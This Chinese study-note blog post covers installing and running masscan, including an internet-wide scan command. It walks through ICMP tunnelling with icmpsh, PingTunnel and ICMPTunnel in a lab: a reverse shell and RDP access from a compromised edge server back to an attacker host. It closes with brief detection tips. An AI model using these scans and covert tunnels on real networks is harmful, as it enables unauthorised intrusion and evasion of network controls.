8月15日笔记

masscan安装使用

首先需要有c编译器环境。查看是否有c编译器环境:

gcc -v

如果系统中已经安装了 GCC,这个命令将输出 GCC 的版本信息。如果未安装,你会看到类似于 "command not found" 的错误消息。

如果没有下载,使用如下命令:

sudo apt-get --assume-yes install git make gcc

masscan下载

git clone https://github.com/robertdavidgraham/masscan

文件会下载到你打开命令行显示的路径下。

cd masscan  #第一步
make  #第二步

执行之后会在masscan/bin下生成一个可执行文件。

执行命令:

make install

安装完成。

用法

扫描某IP的部分端口

masscan 183.2.172.185 -p 0-400          #扫描指定IP下的0-400端口

高速扫描某ip下的端口

masscan -p 1-2000 125.217.52.215 --max-rate 100000  #扫描整个子网下1-2000端口
masscan 125.217.52.215 --top-ports 100 > result.txt       #扫描结果另存为result.txt文件

扫描整个互联网😅

masscan 0.0.0.0/0 -p0-65535 --max-rate 100000		//扫描整个互联网

只有ICMP协议出网场景

ICMP是一个比较特殊的协议,在一般的通信协议里如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要,最常见的ICMP消息为ping命令的回复,攻击者可以利用命令行得到比回复更多的ICMP请求,在通常情况下,每个ping命令都有相对应的回复与请求.

在内网中,如果攻击者使用 HTTP、DNS 等应用层隧道都失败了,那么或许可以试试网络层的 ICMP 隧道。

常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等。

icmpsh工具安装使用

icmpsh工具使用简单,便于"携带"(跨平台),运行时不需要管理员权限。下载命令。

git clone https://github.com/inquisb/icmpsh.git

攻击机和边缘服务器(被攻击者获取shell)都要安装。

因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入以下命令来关闭本地系统的ICMP应答(如果需要回复系统应答,则设置为0即可),否则shell的运行会不稳定(表现为一直刷屏,无法进行交互输入):

sysctl -w net.ipv4.icmp_echo_ignore_all=1

查看如何使用,根据脚本使用方法在终端执行以下命令:

python2 icmpsh_m.py 192.168.5.128 192.168.5.138

发现需要impacket安装包。使用命令

apt-get install python-impacket

发现找不到包。直接到github上找到源代码自己安装。

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python2 setup.py install
命令全部执行完之后可以把git下来的文件删掉了。

之后在边缘web服务器上执行以下命令:

icmpsh.exe -t 192.168.5.128


现在我们可以在攻击者的主机看到目标主机的shell。有点乱码,使用命令chcp 65001

PingTunnel的安装使用

经过浏览了数篇文章,发现icmpsh还是有些不足。第一,不能跨平台,其客户端只有icmpsh.exe针对windows的二进制文件,遇到靶机是*inux环境无法使用。第二,icmpsh本质上还不是一个隧道,只是一个反弹shell。第三,icmpsh没有密码认证机制,shell很可能被盗用。

PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,可以为隧道设置密码。
libpcap 是一个跨平台的 C 语言库,用于捕获和分析网络数据包。

安装libpcap的依赖环境

apt-get install byacc
apt-get install flex bison

安装libpcap依赖库

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

安装PingTunnel

wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

但是由于环境限制,我这里无法进行复现,那个pingtunnel环境是攻击机(kali)和边缘服务器(linux类型的)都要安装的。我这里只有windows边缘服务器😭。(暂停,以后有机会再搞)

icmptunnel安装使用

icmptunnelicmpsh 都是基于 ICMP 协议的隧道工具,但它们在功能上有所不同:icmptunnel 更侧重于提供一个稳定的、加密的双向数据传输隧道,支持多种加密方式,适用于长时间稳定连接的需求,如远程桌面或文件传输;而 icmpsh 则更偏向于提供一个交互式的 shell 环境,主要用于命令执行和简单文件传输。

首先去github下载项目:https://github.com/T3rry7f/ICMPTunnel

之后在拿到权限的边界服务器端禁用icmp回复:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

之后执行IcmpTunnel.py脚本:

python IcmpTunnel_S.py

之后再攻击主机执行以下命令:

python IcmpTunnel_C.py {serverIP} {needConnectIP} {needConnectPort}

之后在边界Server端返回一个port并在攻击主机端使用返回的port进行远程连接,此时的ip为边界服务器的ip地址:

rdesktop 192.168.5.128:44171

隧道防御

使用ICMP隧道时会产生大量的ICMP数据包,我们可以通过Wireshark进行ICMP数据包分析,以检测恶意ICMP流量。

  • 检测同一来源的ICMP数据包的数量,一个正常的ping命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包
  • 注意哪些Payload大于64bit的ICMP数据包
  • 寻找响应数据包中的Payload与请求数据包中的Payload不一致的ICMP数据包。
  • 检查ICMP数据包的协议标签,例如:icmptunnel会在所有的ICMP Payload前面添加"TUNL"标记来标识隧道------这就是特征。
相关推荐
冷眼看人间恩怨3 小时前
【Qt笔记】QDockWidget控件详解
c++·笔记·qt·qdockwidget
Hejjon9 小时前
SpringBoot 整合 SQLite 数据库
笔记
西洼工作室11 小时前
【java 正则表达式 笔记】
java·笔记·正则表达式
初学者7.12 小时前
Webpack学习笔记(2)
笔记·学习·webpack
新手上路狂踩坑13 小时前
Android Studio的笔记--BusyBox相关
android·linux·笔记·android studio·busybox
stm 学习ing14 小时前
HDLBits训练3
c语言·经验分享·笔记·算法·fpga·eda·verilog hdl
尘觉14 小时前
算法的学习笔记—扑克牌顺子(牛客JZ61)
数据结构·笔记·学习·算法
bohu8315 小时前
sentinel学习笔记1-为什么需要服务降级
笔记·学习·sentinel·滑动窗口
初学者7.16 小时前
Webpack学习笔记(3)
笔记·学习·webpack
bohu8317 小时前
sentinel学习笔记5-资源指标数据统计
笔记·sentinel·statisticslot